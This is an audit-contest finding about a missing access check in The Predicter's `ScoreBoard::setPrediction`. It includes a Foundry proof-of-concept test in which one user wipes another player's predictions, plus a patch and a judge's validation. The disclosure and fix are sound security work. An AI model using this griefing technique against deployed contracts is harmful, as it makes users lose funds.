First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Improper validation in `ScoreBoard::setPrediction` allows any user to arbitrary change another player's prediction(s)

vile

Summary

ScoreBoard::setPrediction does not properly validate the player input, allowing any user to grief another Player's predictions which can lead to a loss of funds for that Player.

Vulnerability Details

ScoreBoard::setPrediction does not check whether or not they are changing their own predictions.

Include the following test case in ./test/ThePredicter.t.sol:

function test_changeArbitraryPlayersPredictions() public {
uint256 entranceFee = thePredicter.entranceFee();
uint256 predictionFee = 0.0001 ether;
​
// `stranger` makes 3 correct predictions
startHoax(stranger, 1 ether);
thePredicter.register{value: entranceFee}();
thePredicter.makePrediction{value: predictionFee}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: predictionFee}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: predictionFee}(2, ScoreBoard.Result.First);
vm.stopPrank();
​
// `stranger2` griefs `stranger` and resets their predictions to `Pending`
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger2);
scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(stranger), 1, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(stranger), 2, ScoreBoard.Result.Pending);
vm.stopPrank();
​
// `organizer` sets prediction results
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
// Now, `stranger` has "lost" all of their predictions, and is no longer eligible for a prize, effectively losing their winnings
vm.prank(stranger);
vm.expectRevert(ThePredicter.ThePredicter__NotEligibleForWithdraw.selector);
thePredicter.withdraw();
}

Run the test:

forge test --mt test_changeArbitraryPlayersPredictions -vvvvv

Impact

Any user can grief a Player's prediction(s), which can lead to a loss of funds for affected Player(s).

Tools Used

Manual Analysis

Recommendations

Ensure that users can only change their own predictions

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if (msg.sender != thePredicter && msg.sender != player) {
+ revert ScoreBoard__UnauthorizedAccess();
+ }
​
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.